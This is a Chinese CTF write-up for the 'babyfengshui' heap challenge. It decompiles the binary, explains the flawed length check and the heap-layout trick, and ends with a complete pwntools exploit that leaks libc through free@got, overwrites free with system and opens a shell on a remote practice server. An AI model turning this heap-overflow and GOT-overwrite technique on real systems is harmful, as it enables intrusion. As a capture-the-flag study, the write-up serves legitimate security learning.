babyfengshui_33c3_2016
使用checksec
查看:
开启了Canary和栈不可执行,看题目像是一道heap题目。
放进IDA中查看:
void __cdecl __noreturn main()
{
char v0; // [esp+3h] [ebp-15h]
int v1; // [esp+4h] [ebp-14h]
size_t v2; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
alarm(0x14u);
while ( 1 )
{
puts("0: Add a user");
puts("1: Delete a user");
puts("2: Display a user");
puts("3: Update a user description");
puts("4: Exit");
printf("Action: ");
if ( __isoc99_scanf("%d", &v1) == -1 )
break;
if ( !v1 )
{
printf("size of description: ");
__isoc99_scanf("%u%c", &v2, &v0);
sub_8048816(v2);
}
if ( v1 == 1 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
sub_8048905(v2);
}
if ( v1 == 2 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
sub_804898F(v2);
}
if ( v1 == 3 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
sub_8048724(v2);
}
if ( v1 == 4 )
{
puts("Bye");
exit(0);
}
if ( byte_804B069 > 0x31u )
{
puts("maximum capacity exceeded, bye");
exit(0);
}
}
exit(1);
}
看菜单,堆题,那就一步一步去分析:
首先是sub_8048816(v2)
创建chunk:
-
s = malloc(a1);
首先创建用户输入大小的chunk,里面数据置0 -
v2 = malloc(0x80u);
接着会创建一个0x80
大小的chunk,里面数据置0 -
*v2 = s;
第一次申请的chunk的地址放入第二次申请的chunk中
跟进sub_80486BB
函数:
- 匹配
\n
:也就是说如果name不为空,将第一次申请的chunk的name存放在*v2+4
处
跟进sub_8048724
:
if ( (v3 + *ptr[a1]) >= ptr[a1] - 4 )
:v3是由用户输入的,*ptr[a1]
实际就是s
,ptr[a1] - 4
实际是name
的地址,也就是验证chunk1和chunk2之间的距离。
接着看删除函数:
- 清空数据,清空指针,没啥毛病
输出函数:
- 显示数据,也没啥毛病。
update:
- 就是create中的
sub_8048724
函数。
题目思路:
-
判断数据长度是否合法的地方有问题,可以通过申请连续小堆块,再释放,接着申请大堆块的方式绕过。
- 首先申请连续的3个chunk012,本题用
0x80
,方便计算。 - 释放第一个结构体,得到一个空闲的0x100的堆块
- 申请新的结构体,大小为
0x100
- 那么用户新申请的
0x100
大小的chunk将会在chunk1前面,程序自动申请的0x80
大小的chunk将会在chunk2后面 - 校验写入数据大小是否合法时校验的是这两个chunk之间的距离。
- 也就是说现在我们可写入的大小是
0x100+0x80+0x80+0x80+0x80
- 修改系统创建的chunk1中存储chunk1地址的位置的数据,修改成
free@got
造成libc泄露。 - 在libc中找到
system
的地址 - 将
free
地址内的内容替换为system
- 执行
free(2)
将会执行system(/bin/sh)
exp:
from pwn import * #start r = remote("node4.buuoj.cn",29291) # r = process("../buu/babyfengshui_33c3_2016") elf = ELF("../buu/babyfengshui_33c3_2016") libc = ELF("../buu/ubuntu16(32).so") def add(size,name,length,text): r.sendlineafter("Action: ",'0') r.sendlineafter("description: ",str(size)) r.sendlineafter("name: ",name) r.sendlineafter("text length: ",str(length)) r.sendlineafter("text: ",text) def delete(index): r.sendlineafter("Action: ", '1') r.sendlineafter("index: ", str(index)) def show(index): r.sendlineafter("Action: ", '2') r.sendlineafter("index: ", str(index)) def edit(index, length, text): r.sendlineafter("Action: ", '3') r.sendlineafter("index: ", str(index)) r.sendlineafter("length: ", str(length)) r.sendlineafter("text: ", text) #params free_got = elf.got['free'] #attack add(0x80,"M1",0x80,"MMMM") add(0x80,"M2",0x80,"MMMM") add(0x80,"M3",0x80,"/bin/sh\x00") # gdb.attach(r) delete(0) payload = b'M'*0x198 + p32(free_got) add(0x100,"MM1",0x19c,payload) show(1) r.recvuntil("description: ") free_addr = u32(r.recv(4)) #libc base_addr = free_addr - libc.symbols['free'] system_addr = base_addr + libc.symbols['system'] #attack2 edit(1,0x4,p32(system_addr)) delete(2) r.interactive()
- 首先申请连续的3个chunk012,本题用